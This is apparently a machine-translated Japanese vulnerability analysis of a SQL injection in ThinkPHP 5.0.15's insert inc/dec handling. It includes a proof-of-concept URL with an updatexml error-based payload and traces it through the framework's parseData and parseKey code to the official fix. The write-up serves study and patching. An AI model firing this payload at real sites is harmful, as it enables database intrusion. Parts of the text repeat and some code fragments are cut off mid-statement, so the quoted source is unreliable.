ThinkPHP 5.0.xフレームワークsql注入ホール分析
7567 ワード
前言
脆弱性の再現
データベースを構築し、自分の構成を例に挙げます.データベースはtptest、テーブル名はuserで、フィールドidとusernameが2つあります.
thinkphp公式サイトダウンロード5.0.15バージョン:http://www.thinkphp.cn/down/1125.html .データベース構成情報の変更php.アプリケーション/config.phpではデバッグとtraceが開き、
アクセス:
脆弱性分析
パラメータをinputで取得すると、
insert,thinkphp/library/think/db/Query.に続くphp:2078
次に実行します.
thinkphp/library/think/db/Builderにフォローphp:720:
ここに続く
ここでは、入力された
thinkphp/library/think/db/Queryに戻ります.phのinsertでは、
sql注入に成功した.
脆弱性の修復
公式commit:https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
脆弱性の再現
データベースを構築し、自分の構成を例に挙げます.データベースはtptest、テーブル名はuserで、フィールドidとusernameが2つあります.
thinkphp公式サイトダウンロード5.0.15バージョン:http://www.thinkphp.cn/down/1125.html .データベース構成情報の変更php.アプリケーション/config.phpではデバッグとtraceが開き、
app_debug
とapp_trace
はtrueです.アプリケーション/index/controller/index.phpのIndexクラスにメソッドを追加するには、次の手順に従います.public function testsql()
{
$username = input('get.username/a');
db('user')->where(['id'=> 1])->insert(['username'=>$username]);
}
アクセス:
http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
脆弱性分析
パラメータをinputで取得すると、
username
変数は次のようになります.insert,thinkphp/library/think/db/Query.に続くphp:2078
parseExpress();
$data = array_merge($options['data'], $data);
...
次に実行します.
builder->insert($data, $options, $replace);
thinkphp/library/think/db/Builderにフォローphp:720:
parseData($data, $options);
if (empty($data)) {
return 0;
}
...
parseData
thinkphp/library/think/db/Builder.へphp:101、関連変数情報はコメントで追加されました. $val) { // 101
// $key : "username"
// $val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
....
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
...
} elseif (is_null($val)) {
...
} elseif (is_array($val) && !empty($val)) {
// $val[0] = "inc"
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
}
...
}
return $result;
$val
は配列であり、$val[0]
の値がinc
であることから、switch文を介して次のようになります.parseKey($val[1]) . '+' . floatval($val[2]);
break;
ここに続く
parseKey
すなわちthinkphp/library/think/db/builder/Mysql.php:90 query->getTable();
}
if (isset($options['alias'][$table])) {
$table = $options['alias'][$table];
}
}
if (!preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
$key = '`' . $key . '`';
}
if (isset($table)) {
if (strpos($table, '.')) {
$table = str_replace('.', '`.`', $table);
}
$key = '`' . $table . '`.' . $key;
}
return $key; // $key : "updatexml(1,concat(0x7,user(),0x7e),1)"
}
ここでは、入力された
$key
のフィルタリングおよびチェックは行われず、最後に返されたのは1 and (updatexml(1,concat(0x7,user(),0x7e),1))
である.parseData
に戻り、floatval($val[2])
は1を返します.これも私たちがusername[2]=1
に伝える理由です.前に経過したparseKey
の結果とつなぎ合わせてresult
に戻るthinkphp/library/think/db/Queryに戻ります.phのinsertでは、
sql注入に成功した.
脆弱性の修復
公式commit:https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b
dec
およびinc
の操作を行う前に$val[1]
の値を再確認した.